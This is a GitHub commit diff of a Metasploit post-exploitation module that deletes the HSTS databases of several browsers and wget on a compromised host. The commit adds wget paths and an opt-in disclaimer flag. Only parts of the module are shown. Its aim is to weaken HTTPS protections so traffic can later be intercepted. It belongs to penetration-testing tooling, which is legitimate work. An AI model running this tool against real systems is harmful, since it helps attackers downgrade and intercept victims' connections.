Skip to content

Commit eae9c60

Browse files
committed
Disclaimer and wget support added and syntax errors fixed.
1 parent ae93162 commit eae9c60

File tree

1 file changed

+16
-6
lines changed

1 file changed

+16
-6
lines changed

modules/post/multi/manage/hsts_eraser.rb

Lines changed: 16 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -13,26 +13,36 @@ def initialize(info = {})
1313
super(update_info(info,
1414
'Name' => 'Web browsers HSTS entries eraser',
1515
'Description' => %q{
16-
This module removes the HSTS database of the following web browsers: Mozilla Firefox,
17-
Google Chrome, Opera & Safari.
16+
This module removes the HSTS database of the following tools and web browsers: Mozilla Firefox,
17+
Google Chrome, Opera, Safari and wget.
1818
},
1919
'License' => MSF_LICENSE,
2020
'Author' =>
2121
[
2222
'Sheila A. Berta (UnaPibaGeek)', # ElevenPaths
2323
],
2424
'Platform' => %w(linux osx unix win),
25+
'Arch' => [ARCH_X86,ARCH_X64],
2526
'References' =>
2627
[
2728
[ 'URL', 'http://blog.en.elevenpaths.com/2017/12/breaking-out-hsts-and-hpkp-on-firefox.html' ],
2829
[ 'URL', 'https://www.blackhat.com/docs/eu-17/materials/eu-17-Berta-Breaking-Out-HSTS-And-HPKP-On-Firefox-IE-Edge-And-Possibly-Chrome.pdf' ]
29-
3030
],
3131
'SessionTypes' => %w(meterpreter shell)
3232
))
33+
34+
register_options([
35+
OptBool.new('DISCLAIMER',
36+
[true, 'This module will delete HSTS data from the target. Set this parameter to True in order to accept this warning.', false])
37+
])
3338
end
3439

3540
def run
41+
unless (datastore['DISCLAIMER'] == true)
42+
print_error("This module will delete HSTS data from all browsers on the target. You must set the DISCLAIMER option to True to acknowledge that you understand this warning.")
43+
return
44+
end
45+
3646
profiles = user_profiles
3747

3848
profiles.each do |user_profile|
@@ -50,7 +60,8 @@ def run
5060
browsers_hsts_db_path = {
5161
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/TransportSecurity",
5262
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox", #Just path for now
53-
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/TransportSecurity"
63+
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/TransportSecurity",
64+
'wget' => "#{user_profile['LocalAppData']}/.wget-hsts"
5465
}
5566
when 'osx'
5667
browsers_hsts_db_path = {
@@ -116,5 +127,4 @@ def user_profiles
116127
def system_separator
117128
return session.platform == 'windows' ? '\\' : '/'
118129
end
119-
120-
end
130+
end

0 commit comments

Comments
 (0)